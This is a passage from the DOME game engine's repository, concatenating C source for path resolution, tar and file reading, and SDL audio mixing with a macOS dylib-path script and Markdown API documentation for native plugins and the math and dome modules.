(STRINGS_EQUAL(SDL_GetPlatform(), "Mac OS X")) { basePath = SDL_GetBasePath(); if (strstr(basePath, ".app/") != NULL) { // If this is a MAC bundle, we need to use the exe location return basePath; } else { // Free the SDL path and fall back free(basePath); } } long path_max; size_t size; char *buf = NULL; char *ptr = NULL; #ifdef __MINGW32__ path_max = PATH_MAX; #else path_max = pathconf(".", _PC_PATH_MAX); #endif if (path_max == -1) { size = 1024; } else if (path_max > 10240) { size = 10240; } else { size = path_max; } for (buf = ptr = NULL; ptr == NULL; size *= 2) { if ((buf = realloc(buf, size + sizeof(char) * 2)) == NULL) { abort(); } ptr = getcwd(buf, size); if (ptr == NULL && errno != ERANGE) { abort(); } } basePath = ptr; size_t len = strlen(basePath); *(basePath + len) = '/'; *(basePath + len + 1) = '\0'; for (size_t i = 0; i < len + 2; i++) { if (basePath[i] == '\\') { basePath[i] = '/'; } } } return basePath; } internal void BASEPATH_free(void) { if (basePath != NULL) { free(basePath); } } internal const char* resolvePath(const char* partialPath, bool* shouldFree) { const char* fullPath; if (partialPath[0] != '/') { char* base = BASEPATH_get(); fullPath = malloc(strlen(base)+strlen(partialPath)+1); strcpy((char*)fullPath, base); strcat((char*)fullPath, partialPath); if (shouldFree != NULL) { *shouldFree = true; } } else { fullPath = partialPath; if (shouldFree != NULL) { *shouldFree = false; } } return fullPath; } internal inline bool isDirectory(const char *path) { struct stat statbuf; if (stat(path, &statbuf) != 0) { return false; } return S_ISDIR(statbuf.st_mode) == 1; } internal inline bool doesFileExist(char* path) { return access(path, F_OK) != -1; } internal int readFileFromTar(mtar_t* tar, char* path, size_t* lengthPtr, char** data) { // We assume the tar open has been done already int err; mtar_header_t h; char compatiblePath[PATH_MAX]; strcpy(compatiblePath, "./"); strcat(compatiblePath, path); err = mtar_rewind(tar); if (err != MTAR_ESUCCESS) { return err; } while ((err = mtar_read_header(tar, &h)) == MTAR_ESUCCESS) { // search for "<path>", "./<path>" and "/<path>" // see https://github.com/domeengine/nest/pull/2 if (!strcmp(h.name, path) || !strcmp(h.name, compatiblePath) || !strcmp(h.name, compatiblePath + 1)) { break; } err = mtar_next(tar); if (err != MTAR_ESUCCESS) { return err; } } if (err != MTAR_ESUCCESS) { return err; } size_t length = h.size; *data = calloc(1, length + 1); if ((err = mtar_read_data(tar, *data, length)) != MTAR_ESUCCESS) { // Some kind of problem reading the file free(*data); return err; } if (lengthPtr != NULL) { *lengthPtr = length; } return err; } internal int writeEntireFile(const char* path, const char* data, size_t length) { FILE* file = fopen(path, "wb+"); if (file == NULL) { return errno; } fwrite(data, sizeof(char), length, file); fclose(file); return 0; } internal char* readEntireFile(char* path, size_t* lengthPtr) { FILE* file = fopen(path, "rb"); if (file == NULL) { return NULL; } char* source = NULL; if (fseek(file, 0L, SEEK_END) == 0) { /* Get the size of the file. */ long bufsize = ftell(file); /* Allocate our buffer to that size. */ source = malloc(sizeof(char) * (bufsize + 1)); /* Go back to the start of the file. */ if (fseek(file, 0L, SEEK_SET) != 0) { /* Error */ } /* Read the entire file into memory. */ size_t newLen = fread(source, sizeof(char), bufsize, file); if (ferror(file) != 0) { perror("Error reading file"); } else { if (lengthPtr != NULL) { *lengthPtr = newLen; } source[newLen++] = '\0'; /* Just to be safe. */ } } fclose(file); return source; } <file_sep>/scripts/set-executable-path.sh #!/bin/bash TARGET_NAME=$1 if [[ "$OSTYPE" == "darwin"* ]]; then install_name_tool -add_rpath \@executable_path/libSDL2-2.0.0.dylib $TARGET_NAME install_name_tool -change /usr/local/opt/sdl2/lib/libSDL2-2.0.0.dylib \@executable_path/libSDL2-2.0.0.dylib $TARGET_NAME install_name_tool -change /usr/local/lib/libSDL2-2.0.0.dylib \@executable_path/libSDL2-2.0.0.dylib $TARGET_NAME fi <file_sep>/docs/plugins/index.md [< Back](..) Native Plugins ============ Advanced developers are invited to build native plugins using a compiled language like C, C++ and Rust. This allows for deeper system access than DOME's module API's expose, as well as greater performance. It also makes the features of various shared libraries available, at a small cost. > Caution: The Native Plugin API is in an experimental phase and we may need to make some breaking changes in the future. Please keep an eye on this page for updates. # Contents * [Getting Started](#getting-started) - [Example](#example) - [Caveats](#caveats) * Lifecycle hooks - [Init](#init) - [Pre-Update](#pre-update) - [Post-Update](#post-update) - [Pre-Draw](#pre-draw) - [Post-Draw](#post-draw) - [Shutdown](#shutdown) * API Services - [Core](#core) * Enums - [enum: DOME_Result](#enum-dome_result) * Function Signatures - [function: DOME_ForeignFn](#function-dome_foreignfn) - [function: DOME_FinalizerFn](#function-dome_finalizerfn) * Methods - [method: registerModule](#method-registermodule) - [method: registerClass](#method-registerclass) - [method: registerFn](#method-registerfn) - [method: lockModule](#method-lockmodule) - [method: getContext](#method-getcontext) - [method: log](#method-log) - [Wren](#wren) * [Module Embedding](#module-embedding) - [Audio](#audio) * Enums - [enum: CHANNEL_STATE](#enum-channel_state) * Function Signatures - [function: CHANNEL_mix](#function-channel_mix) - [function: CHANNEL_callback](#function-channel_callback) * Methods - [method: channelCreate](#method-channelcreate) - [method: getData](#method-getdata) - [method: getState](#method-getstate) - [method: setState](#method-setstate) - [method: stop](#method-stop) # Getting Started In order to start writing your plugins, you will need to include `dome.h` in your project. This file can be found [here](https://github.com/domeengine/dome/blob/main/includes/dome.h) in the `includes` folder of the GitHub repository. You will also need to configure your compiler/linker to ignore undefined methods and output a shared library. DOME supports plugins compiled as `.dll` (on Windows), `.so` (on Linux) and `.dylib` (on Mac OS X). The compiled library has to be available in the shared library path, which varies by operating system convention, however usually it can be placed in the same folder as your application entry point. You should consult your operating system's developer documentation for more details. You can load the plugin from your DOME application by calling [`Plugin.load(name)`](/modules/plugin) ## Example You can find a well-commented example plugin and application on [this](example) page, which demonstrates all the currently available lifecycle hooks. ## Caveats Using plugins with DOME can hugely expand the functions of your application, but there are certain things to be aware of: 1. Standard DOME applications are safely portable, as the engine is compiled for multiple platforms. This does not extend to plugins, which will need to be compiled for your target platforms and supplied with distributions of your application. 2. DOME cannot verify the correctness of plugin implementations, which means that a plugin which has bugs could cause DOME to crash unexpectedly, or cause other issues with the underlying system. 3. Your plugin will need to expose symbols with C-style function names. DOME cannot access functions whose names have been mangled. # Plugin Interfaces ## Lifecycle hooks DOME can call specially named functions implemented by your plugin, at different times during the game loop. For this to work, you must ensure that your compiler does not mangle names. If a hook returns any result other than `DOME_RESULT_SUCCESS`, DOME will abort and shutdown. You should use the [`log(text)`](#method-log) call to print an error before returning. ### Init ```c DOME_Result PLUGIN_onInit(DOME_getAPIFunction DOME_getAPI, DOME_Context ctx) ``` DOME calls this function when the plugin is loaded, which gives you a chance to perform any initialisation you need to. You can also signal to DOME that there was a problem by returning `DOME_RESULT_FAILURE`. This is also the best opportunity to acquire the available APIs, thanks to the `DOME_getAPI` function pointer, which is explained in the [API Services](#api-services) section. The structs returned from this call should be stored for use throughout the lifetime of your plugin. ### Pre-Update ```c DOME_Result PLUGIN_preUpdate(DOME_Context ctx) ``` This hook is called before the Game.update step of the game loop. ### Post-Update ```c DOME_Result PLUGIN_postUpdate(DOME_Context ctx) ``` This hook is called after the Game.update step of the game loop. ### Pre-Draw ```c DOME_Result PLUGIN_preDraw(DOME_Context ctx) ``` This hook is called before the Game.draw step of the game loop. ### Post-Draw ```c DOME_Result PLUGIN_postDraw(DOME_Context ctx) ``` This hook is called after the Game.draw step of the game loop. ### Shutdown ```c DOME_Result PLUGIN_onShutdown(DOME_Context ctx) ``` This hook occurs when the plugin is being unloaded, usually because DOME is in the process of quitting. This is your last opportunity to free any resources your plugin is holding on to, and cleaning up any other background processes. # API Services The DOME Plugin API is split into different pieces, divided by general purpose and version. This is to allow maximum backwards-compatibility as new features are added. The engine will endeavour to support previous versions of an API for as long as possible, but no guarentees will be made for compatibility across major versions of DOME. APIs are provided as a struct of function pointers, returned from: ```c void* DOME_getAPI(API_TYPE type, int API_VERSION) ``` ## Core This API allows your plugin to register modules and provides some basic utilities. ### Acquisition ```c DOME_API_v0* core = (DOME_API_v0*)DOME_getAPI(API_DOME, DOME_API_VERSION); ``` ### Enums: #### enum: DOME_Result Various methods return an enum of type `DOME_Result`, which indicates success or failure. These are the valid values: * `DOME_RESULT_SUCCESS` * `DOME_RESULT_FAILURE` * `DOME_RESULT_UNKNOWN` ### Function signatures #### function: DOME_ForeignFn `DOME_ForeignFn` methods have the signature: `void method(WrenVM* vm)` to match the `WrenForeignMethodFn` type. #### function: DOME_FinalizerFn `DOME_FinalizerFn` methods have the signature: `void finalize(void* vm)`, to match the `WrenFinalizerFn` type. ### Methods #### method: registerModule ```c DOME_Result registerModule(DOME_Context ctx, const char* name, const char* moduleSource) ``` This call registers module `name` with the source code `moduleSource`. You cannot register modules with the same name as DOME's internal modules. These are reserved. DOME creates a copy of the `name` and `moduleSource`, so you are able to free the pointers if necessary. Returns `DOME_RESULT_SUCCESS` if the module was successfully registered, and `DOME_RESULT_FAILURE` otherwise. #### method: registerClass ```c DOME_Result registerClass(DOME_Context ctx, const char* moduleName, const char* className, DOME_ForeignFn allocate, DOME_FinalizerFn finalize) ``` Register the `allocate` and `finalize` methods for `className` in `moduleName`, so that instances of the foreign class can be allocated, and optionally finalized. The `finalize` method is your final chance to deal with the userdata attached to your foreign class. You won't have VM access inside this method. DOME creates a copy of the `className`, so you are able to free the pointer if necessary. Returns `DOME_RESULT_SUCCESS` if the class is registered and `DOME_RESULT_FAILURE` otherwise. Failure will occur if `allocate` method is provided. The `finalize` argument can optionally be `NULL`. #### method: registerFn ```c DOME_Result registerFn(DOME_Context ctx, const char* name, const char* signature, DOME_ForeignFn method) ``` Register `method` as the function to call for the foreign method specified by `signature` in the module `name`. DOME creates a copy of the `signature`, so you are able to free the pointer if necessary. Returns `DOME_RESULT_SUCCESS` if the function was successfully registered, and `DOME_RESULT_FAILURE` otherwise. The format for the `signature` string is as follows: * `static` if the method is a static class method, followed by a space, otherwise both are omitted. * `ClassName` for the class method being declared, followed by a period (`.`) * `methodName` which is the name of the field/method being exposed. - If this is a field getter, nothing else is needed. - If this is a field setter, add `=(_)` - If this is a method, then parenthesis and a comma seperated list of underscores (`_`) follow, for the number of arguments the method takes. - You can also use the setter and getter syntax for the class' subscript operator `[]`, which can be defined with one or more parameters. - Wren methods can have up to 16 arguments, and are overloaded by arity. For example, `Test.do(_)` is considered different to `Test.do(_,_)` and so on. #### method: lockModule ```c void lockModule(DOME_Context ctx, const char* name) ``` This marks the module `name` as locked, so that further functions cannot modify it. It is recommended to do this after you have registered all the methods for your module, however there is no requirement to. #### method: getContext ```c DOME_Context getContext(WrenVM* vm) ``` This allows foreign functions called by the Wren VM to access the current DOME context, to call various APIs. #### method: log ```c void log(DOME_Context ctx, const char* text, ...) ``` Using this method allows for formatted output of `text` to the various debugging outputs DOME uses (stdout, a debug console on Windows and a DOME-log.txt file). You can use C-style specifiers for the `text` string, as used in the `printf` family of functions. ## Wren You have access to a subset of the [Wren slot API](https://wren.io/embedding/slots-and-handles.html) in order to access parameters and return values in foreign methods. The methods are incredibly well documented in the [Wren public header](https://github.com/wren-lang/wren/blob/main/src/include/wren.h), so we will not be documenting the functions here. You do not need to include the `wren.h` header in your application, as `dome.h` includes everything you need. ### Acquisition ```c WREN_API_v0* wren = (WREN_API_v0*)DOME_getAPI(API_WREN, WREN_API_VERSION); ``` ### Methods This is a list of provided methods: ```c void ensureSlots(WrenVM* vm, int slotCount); void setSlotNull(WrenVM* vm, int slot); void setSlotBool(WrenVM* vm, int slot, bool value); void setSlotDouble(WrenVM* vm, int slot, double value); void setSlotString(WrenVM* vm, int slot, const char* text); void setSlotBytesWrenVM* vm, int slot, const char* data, size_t length); void* setSlotNewForeign(WrenVM* vm, int slot, int classSlot, size_t length); bool getSlotBool(WrenVM* vm, int slot); double getSlotDouble(WrenVM* vm, int slot); const char* getSlotString(WrenVM* vm, int slot); const char* getSlotBytes(WrenVM* vm, int slot, int* length); WrenType getSlotType(WrenVM* vm, int slot); void setSlotNewList(WrenVM* vm, int slot); int getListCount(WrenVM* vm, int slot); void getListElement(WrenVM* vm, int listSlot, int index, int elementSlot); void setListElement(WrenVM* vm, int listSlot, int index, int elementSlot); void insertInList(WrenVM* vm, int listSlot, int index, int elementSlot); void setSlotNewMap(WrenVM* vm, int slot); int getMapCount(WrenVM* vm, int slot); bool getMapContainsKey(WrenVM* vm, int mapSlot, int keySlot); void getMapValue(WrenVM* vm, int mapSlot, int keySlot, int valueSlot); void setMapValue(WrenVM* vm, int mapSlot, int keySlot, int valueSlot); void removeMapValue(WrenVM* vm, int mapSlot, int keySlot, int removedValueSlot); WrenInterpretResult interpret(WrenVM* vm, const char* module, const char* source); WrenInterpretResult call(WrenVM* vm, WrenHandle* method); bool hasModule(WrenVM* vm, const char* module); bool hasVariable(WrenVM* vm, const char* module, const char* name); void getVariable(WrenVM* vm, const char* module, const char* name, int slot); WrenHandle* getSlotHandle(WrenVM* vm, int slot); void setSlotHandle(WrenVM* vm, int slot, WrenHandle* handle); void releaseHandle(WrenVM* vm, WrenHandle* handle); void abortFiber(WrenVM* vm, int slot); ``` ### Module Embedding If your plugin registers a Wren module, you can embed the source of that module in your plugin by using DOME's built-in `--embed` command, which will convert it into a C include file. ```sh $ dome -e | --embed sourceFile [moduleVariableName] [destinationFile] ``` Example: ```sh $ dome -e external.wren source external.wren.inc ``` This command will use `external.wren` to generate `external.wren.inc`, which contains the variable `sourceModule` for including in C/C++ source code. ## Audio This set of APIs gives you access to DOME's audio engine, to provide your own audio channel implementations. You can use this to synthesize sounds, or play custom audio formats. ### Acquisition ```c AUDIO_API_v0* wren = (AUDIO_API_v0*)DOME_getAPI(API_AUDIO, AUDIO_API_VERSION); ``` ### Enums #### enum: CHANNEL_STATE Audio channels are enabled and disabled based on a state, which is represented by this enum. Supported states are the following: ```c enum CHANNEL_STATE { CHANNEL_INITIALIZE, CHANNEL_TO_PLAY, CHANNEL_PLAYING, CHANNEL_STOPPING, CHANNEL_STOPPED } ``` ### Function Signatures #### function: CHANNEL_mix `CHANNEL_mix` functions have a signature of `void mix(CHANNEL_REF ref, float* buffer, size_t sampleRequestSize)`. * `ref` is a reference to the channel being mixed. * `buffer` is an interleaved stereo buffer to write your audio data into. One sample is two values, for left and right, so `buffer` is `2 * sampleRequestSize` in size. This callback is called on DOME's Audio Engine mixer thread. It is essential that you avoid any slow operations (memory allocation, network) or you risk interruptions to the audio playback. #### function: CHANNEL_callback `CHANNEL_callback` functions have this signature: `void callback(CHANNEL_REF ref, WrenVM* vm)`. ### Methods #### method: channelCreate ```c CHANNEL_REF channelCreate(DOME_Context ctx, CHANNEL_mix mix, CHANNEL_callback update, CHANNEL_callback finish, void* userdata); ``` When you create a new audio channel, you must supply callbacks for mixing, updating and finalizing the channel. This allows it to play nicely within DOME's expected audio lifecycle. This method creates a channel with the specified callbacks and returns its corresponding CHANNEL_REF value, which can be used to manipulate the channel's state during execution. The channel will be created in the state `CHANNEL_INITIALIZE`, which gives you the opportunity to set up the channel configuration before it is played. The callbacks work like this: - `update` is called once a frame, and can be used for safely modifying the state of the channel data. This callback holds a lock over the mixer thread, so avoid holding it for too long. - `finish` is called once the channel has been set to `STOPPED`, before its memory is released. It is safe to expect that the channel will not be played again. The `userdata` is a pointer set by the plugin developer, which can be used to pass through associated data, and retrieved by [`getData(ref)`](#method-getdata). You are responsible for the management of the memory pointed to by that pointer and should avoid modifying the contents of the memory outside of the provided callbacks. #### method: getData ```c void* getData(CHANNEL_REF ref) ``` Fetch the `userdata` pointer for the given channel `ref`. #### method: getState ```c CHANNEL_STATE getState(CHANNEL_REF ref) ``` Get the current [state](#enum-channel_state) of the channel specified by `ref`. #### method: setState ```c void setState(CHANNEL_REF ref, CHANNEL_STATE state) ``` This allows you to specify the channel's [state](#enum-channel_state). DOME will only mix in channels in the following states: `CHANNEL_PLAYING` and `CHANNEL_STOPPING`. #### method: stop ```c void stop(CHANNEL_REF ref) ``` Marks the audio channel as having stopped. This means that DOME will no longer play this channel. It will call the `finish` callback at it's next opportunity. <file_sep>/src/audio/engine.c #define AUDIO_CHANNEL_START 0 #define SAMPLE_RATE 44100 global_variable const uint16_t channels = 2; global_variable const uint16_t bytesPerSample = 4 * 2; // 4-byte float * 2 channels; typedef struct AUDIO_ENGINE_t { SDL_AudioDeviceID deviceId; SDL_AudioSpec spec; float* scratchBuffer; size_t scratchBufferSize; TABLE pending; TABLE playing; CHANNEL_ID nextId; } AUDIO_ENGINE; // audio callback function // Allows SDL to "pull" data into the output buffer // on a seperate thread. We need to be pretty efficient // here as it holds a lock. void AUDIO_ENGINE_mix(void* userdata, Uint8* stream, int outputBufferSize) { AUDIO_ENGINE* audioEngine = userdata; size_t totalSamples = outputBufferSize / bytesPerSample; SDL_memset(stream, 0, outputBufferSize); float* scratchBuffer = audioEngine->scratchBuffer; size_t bufferSampleSize = audioEngine->scratchBufferSize; TABLE_ITERATOR iter; TABLE_iterInit(&iter); CHANNEL* channel; while (TABLE_iterate(&(audioEngine->playing), &iter)) { channel = iter.value; if (!CHANNEL_isPlaying(channel)) { continue; } assert(channel != NULL); size_t requestServed = 0; float* writeCursor = (float*)(stream); CHANNEL_mix mixFn = channel->mix; while (CHANNEL_isPlaying(channel) && requestServed < totalSamples) { SDL_memset(scratchBuffer, 0, bufferSampleSize * bytesPerSample); size_t requestSize = min(bufferSampleSize, totalSamples - requestServed); mixFn(channel->ref, scratchBuffer, requestSize); requestServed += requestSize; float* copyCursor = scratchBuffer; float* endPoint = copyCursor + bufferSampleSize * channels; for (; copyCursor < endPoint; copyCursor++) { *(writeCursor++) += *copyCursor; } } } } internal AUDIO_ENGINE* AUDIO_ENGINE_init(void) { SDL_InitSubSystem(SDL_INIT_AUDIO); AUDIO_ENGINE* engine = malloc(sizeof(AUDIO_ENGINE)); // zero is reserved for uninitialized. engine->nextId = 1; // SETUP player // set the callback function (engine->spec).freq = SAMPLE_RATE; (engine->spec).format = AUDIO_F32LSB; (engine->spec).channels = channels; // TODO: consider mono/stereo (engine->spec).samples = AUDIO_BUFFER_SIZE; (engine->spec).callback = AUDIO_ENGINE_mix; (engine->spec).userdata = engine; // open audio device engine->deviceId = SDL_OpenAudioDevice(NULL, 0, &(engine->spec), NULL, 0); // TODO: Handle if we can't get a device! engine->scratchBuffer = calloc(AUDIO_BUFFER_SIZE, bytesPerSample); if (engine->scratchBuffer != NULL) { engine->scratchBufferSize = AUDIO_BUFFER_SIZE; } // Unpause audio so we can begin taking over the buffer SDL_PauseAudioDevice(engine->deviceId, 0); TABLE_init(&(engine->pending)); TABLE_init(&(engine->playing)); return engine; } internal bool AUDIO_ENGINE_get(AUDIO_ENGINE* engine, CHANNEL_REF* ref, CHANNEL** channel) { CHANNEL_ID id = ref->id; if (id == 0) { return false; } bool result = TABLE_get(&engine->playing, id, channel); if (!result) { result = TABLE_get(&engine->pending, id, channel); } return result; } internal void AUDIO_ENGINE_lock(AUDIO_ENGINE* engine) { SDL_LockAudioDevice(engine->deviceId); } internal void AUDIO_ENGINE_unlock(AUDIO_ENGINE* engine) { SDL_UnlockAudioDevice(engine->deviceId); } internal CHANNEL_REF AUDIO_ENGINE_channelInit( AUDIO_ENGINE* engine, CHANNEL_mix mix, CHANNEL_callback update, CHANNEL_callback finish, void* userdata) { CHANNEL_ID id = engine->nextId++; CHANNEL_REF ref = { .id = id, .engine = engine }; CHANNEL channel = { .state = CHANNEL_INITIALIZE, .mix = mix, .update = update, .finish = finish, .userdata = userdata, .ref = ref }; TABLE_set(&engine->pending, id, channel); return ref; } internal void AUDIO_ENGINE_update(AUDIO_ENGINE* engine, WrenVM* vm) { TABLE_ITERATOR iter; TABLE_iterInit(&iter); CHANNEL* channel; AUDIO_ENGINE_lock(engine); TABLE_addAll(&engine->playing, &engine->pending); while (TABLE_iterate(&(engine->playing), &iter)) { channel = iter.value; if (channel->update != NULL) { channel->update(channel->ref, vm); } if (channel->state == CHANNEL_STOPPED) { if (channel->finish != NULL) { channel->finish(channel->ref, vm); } TABLE_delete(&engine->playing, channel->ref.id); } } AUDIO_ENGINE_unlock(engine); TABLE_free(&engine->pending); // DEBUG_LOG("Capacity: %u / %u", engine->playing.items, (engine->playing).capacity); } internal void AUDIO_ENGINE_stop(AUDIO_ENGINE* engine, CHANNEL_REF* ref) { CHANNEL* channel; AUDIO_ENGINE_get(engine, ref, &channel); if (channel != NULL) { CHANNEL_requestStop(channel); } } internal void* AUDIO_ENGINE_getData(AUDIO_ENGINE* engine, CHANNEL_REF* ref) { CHANNEL* channel; AUDIO_ENGINE_get(engine, ref, &channel); if (channel != NULL) { return CHANNEL_getData(channel); } return NULL; } internal void AUDIO_ENGINE_stopAll(AUDIO_ENGINE* engine) { TABLE_ITERATOR iter; TABLE_iterInit(&iter); CHANNEL* channel; while (TABLE_iterate(&(engine->playing), &iter)) { channel = iter.value; CHANNEL_requestStop(channel); } TABLE_iterInit(&iter); while (TABLE_iterate(&(engine->pending), &iter)) { channel = iter.value; CHANNEL_requestStop(channel); } } internal void AUDIO_ENGINE_pause(AUDIO_ENGINE* engine) { SDL_PauseAudioDevice(engine->deviceId, 1); } internal void AUDIO_ENGINE_resume(AUDIO_ENGINE* engine) { SDL_PauseAudioDevice(engine->deviceId, 0); } internal void AUDIO_ENGINE_halt(AUDIO_ENGINE* engine) { if (engine != NULL) { SDL_PauseAudioDevice(engine->deviceId, 1); SDL_CloseAudioDevice(engine->deviceId); } } internal void AUDIO_ENGINE_free(AUDIO_ENGINE* engine) { // We might need to free contained audio here AUDIO_ENGINE_halt(engine); free(engine->scratchBuffer); TABLE_free(&engine->playing); TABLE_free(&engine->pending); } <file_sep>/src/audio/api.c internal CHANNEL_REF AUDIO_API_channelCreate( DOME_Context ctx, CHANNEL_mix mix, CHANNEL_callback update, CHANNEL_callback finish, void* userdata) { AUDIO_ENGINE* engine = ((ENGINE*)ctx)->audioEngine; return AUDIO_ENGINE_channelInit( engine, mix, update, finish, userdata ); } internal void AUDIO_API_stop(CHANNEL_REF ref) { AUDIO_ENGINE* engine = ref.engine; AUDIO_ENGINE_stop(engine, &ref); } internal void AUDIO_API_setState(CHANNEL_REF ref, CHANNEL_STATE state) { AUDIO_ENGINE* engine = ref.engine; AUDIO_ENGINE_setState(engine, &ref, state); } internal CHANNEL_STATE AUDIO_API_getState(CHANNEL_REF ref) { AUDIO_ENGINE* engine = ref.engine; return AUDIO_ENGINE_getState(engine, &ref); } internal void* AUDIO_API_getData(CHANNEL_REF ref) { AUDIO_ENGINE* engine = ref.engine; return AUDIO_ENGINE_getData(engine, &ref); } AUDIO_API_v0 audio_v0 = { .channelCreate = AUDIO_API_channelCreate, .getState = AUDIO_API_getState, .setState = AUDIO_API_setState, .stop = AUDIO_API_stop, .getData = AUDIO_API_getData }; <file_sep>/src/modules/platform.c internal void PLATFORM_getTime(WrenVM* vm) { wrenEnsureSlots(vm, 1); wrenSetSlotDouble(vm, 0, (uint32_t)time(NULL)); } internal void PLATFORM_getName(WrenVM* vm) { wrenEnsureSlots(vm, 1); wrenSetSlotString(vm, 0, SDL_GetPlatform()); } <file_sep>/docs/modules/math.md [< Back](.) math ============= The `math` module provides utilities for performing mathematical calculations. It contains the following classes: * [Math](#math) * [Vector](#vector) ## Math The `Math` class provides various common mathematical functions. For convenience, you can also import this class `M`, like so: ```wren import "math" for M, Math System.print(M.min(21, 42)) System.print(Math.max(21, 42)) ``` ### Static Methods #### `abs(n: Number): Number` Returns the absolute magnitude of `n`. #### `acos(n: Number): Number` Returns the arccosine of `n`. #### `asin(n: Number): Number` Returns the arcsine of `n`. #### `atan(n: Number): Number` #### `atan(n1: Number, n2: Number): Number` Returns the arctan of `n`. #### `ceil(n: Number): Number` Rounds `n` up to the next largest integer value. #### `cos(n: Number): Number` Returns the cosine of `n`. #### `floor(n: Number): Number` Rounds `n` down to the next smallest integer value. #### `lerp(low: Number, value: Number, high: Number): Number` This performs a linear interpolation between `low` and `high`, based on the value of `value`, which will be clamped to a range of [0..1]. #### `log(n: Number): Number` Returns the natural logarithm of `n`. #### `max(n1: Number, n2: Number): Number` Returns the larger of `n1` and `n2`. #### `mid(n1: Number, n2: Number, n3: Number): Number` Returns the number which is in the middle of the others. This can be used as an inclusive clamping function. #### `min(n1: Number, n2: Number): Number` Returns the smaller of `n1` and `n2`. #### `round(n: Number): Number` Rounds `n` to the nearest integer value. #### `sign(n: Number): Number` If `n` is negative, this returns `-1`. If `n` is positive, this returns `1`. If `n` is equal to zero, it returns `0`. #### `sin(n: Number): Number` Returns the sine of `n`. #### `tan(n: Number): Number` Returns the tan of `n`. ## Vector The `Vector` class works as a vector of up to 4 dimensions. You can also refer to it as a `Point` or `Vec`. ### Constructor #### `Vector.new(): Vector` #### `Vector.new(x, y): Vector` #### `Vector.new(x, y, z): Vector` #### `Vector.new(x, y, z, w): Vector` Create a vector. If a value isn't provided, it is set to `(0, 0, 0, 0)`. Unless you specifically need 3 or 4-dimensional vectors, you can ignore _z_ and _w_. ### Instance Fields #### `x: Number` #### `y: Number` #### `z: Number` #### `w: Number` #### `manhattan: Number` This returns the "taxicab length" of the vector, easily calculated as `x` + `y` + `z` + `w`. #### `length: Number` This returns the Euclidean magnitude of the vector. #### `perp: Vector` Returns the 2D vector perpendicular to the current vector. This doesn't work for vectors with 3 or more dimensions. #### `unit: Vector` Returns a copy of the current vector, where it's arguments have been scaled such that it's length is 1. ### Instance Methods #### `dot(vec: Vector): Num` This returns the dot-product of the vector with another vector. #### `cross(vec: Vector): Num` This returns the cross-product of the vector with another vector, resulting in a new vector that is perpendicular to the other two. This only works for 3-dimensional vectors. The _w_ component will be discarded. ### Operators #### `-Vector: Vector` Returns the vector, but it's elements are multiplied by -1. #### `Vector + Vector: Vector` Returns an element-wise addition of the two Vectors. This will error if you try to add a Vector to something other than a Vector. #### `Vector - Vector: Vector` Returns an element-wise subtraction of the two Vectors. This will error if you try to subtract a Vector from something other than a Vector, or vice versa. #### `Vector * Number: Vector` Returns the given vector, where it's elements have been multipled by the scalar. This will error if the multiplier is not a number. #### `Vector / Number: Vector` Returns the given vector, where it's elements have been divided by the scalar. This will error if the divisor is not a Number. <file_sep>/docs/modules/dome.md [< Back](.) # dome The `dome` module allows you to control various aspects of how DOME as an application operates. It contains the following classes: - [Platform](#platform) - [Process](#process) - [Version](#version) - [Window](#window) ## Platform Contains platform-specific utilities which may not always be supported. ### Static Fields #### `name: String` Returns the generic name of the operating system or platform, where possible. #### `time: Number` Returns the integer number of seconds since the unix epoch (1st January 1970). ## Process ### Static Fields #### `static args: String[]` Returns a string list of all non-option command line arguments used to invoke DOME's execution. The first two elements of the returned list will be: 1. the path and name of DOME's invokation. 2. The entry path, combined with the evaluated basepath. ### Static Methods #### `static exit(): Void` #### `static exit(code: Number): Void` Allows you to programmatically close DOME. This command behaves a little differently based on whether an error code is provided (defaults to `0`): - If `code` is `0`, then this will immediately shutdown DOME in a graceful manner, but no other Wren code will execute after this call. - Otherwise, the current Fiber will be aborted, the game loop will exit and DOME will shutdown. ## Version This class provides information about the version of DOME which is currently running. You can use this to check that all the features you require are supported. DOME uses semantic versioning, split into a major.minor.patch breakdown. ### Static Fields #### `static major: Number` The major component of the version number. #### `static minor: Number` The minor component of the version number. #### `static patch: Number` The patch component of the version number. #### `static toString: String` A string containing the complete semantic version of the DOME instance running. #### `static toList: List<Number>` A list of the version components, in `[major, minor, patch]` order. ### Static Methods #### `static atLeast(version: String): boolean` This takes a version as a string of the form `x.y.z`, and returns true if the current version of DOME is at least that of the version specified. ## Window ### Static Fields #### `static fps: Number` This is the current frames per second number. #### `static fullscreen: Boolean` Set this to switch between Windowed and Fullscreen modes. #### `static height: Number` This is the height of the window/viewport, in pixels. #### `static lockstep: Boolean` Setting this to true will disable "catch up" game loop behaviour. This is useful for lighter games, or on systems where you experience a little stuttering at 60fps. #### `static title: String` This allows you to set and get the title of the DOME window. #### `static vsync: Boolean` Setting this to true will make the renderer wait for VSync before presenting to the display. Changing this value is an expensive operation and so shouldn't be done frequently. #### `static width: Number` This is the width of the window/viewport, in pixels. #### `static color: Color` This is the background color of the window. Note that to this _does not_ affect inside the drawing canvas: use `Canvas.cls()` to clear the canvas to some color. This field only affects the background color beyond canvas boundaries. Default is black. Cannot be transparent (transparency is ignored). ### Static Methods #### `static resize(width: Number, height: Number): Void` This allows you to control the size of DOME's window. The viewport will scale accordingly, but the canvas will NOT resize. <file_sep>/src/plugin.h #ifndef PLUGIN_H #define PLUGIN_H struct ENGINE_t; typedef DOME_Result (*DOME_Plugin_Init_Hook) (DOME_getAPIFunction apiFn, DOME_Context context); typedef DOME_Result (*DOME_foreignFn) (DOME_Context context, WrenVM* vm); typedef struct { // Total allocated size size_t max; // Number in use size_t count; bool* active; const char** name; void** objectHandle; DOME_Plugin_Hook* preUpdateHook; DOME_Plugin_Hook* postUpdateHook; DOME_Plugin_Hook* preDrawHook; DOME_Plugin_Hook* postDrawHook; } PLUGIN_COLLECTION; typedef enum { DOME_PLUGIN_HOOK_INIT, DOME_PLUGIN_HOOK_SHUTDOWN, DOME_PLUGIN_HOOK_PRE_UPDATE, DOME_PLUGIN_HOOK_POST_UPDATE, DOME_PLUGIN_HOOK_PRE_DRAW, DOME_PLUGIN_HOOK_POST_DRAW, DOME_PLUGIN_HOOK_UNKNOWN } DOME_PLUGIN_HOOK; internal void PLUGIN_COLLECTION_init(struct ENGINE_t* engine); internal void PLUGIN_COLLECTION_free(struct ENGINE_t* engine); internal DOME_Result PLUGIN_COLLECTION_runHook(struct ENGINE_t* engine, DOME_PLUGIN_HOOK hook); internal DOME_Result PLUGIN_COLLECTION_add(struct ENGINE_t* engine, const char* name); #endif <file_sep>/src/audio/channel.c internal inline void* CHANNEL_getData(CHANNEL* channel) { assert(channel != NULL); return 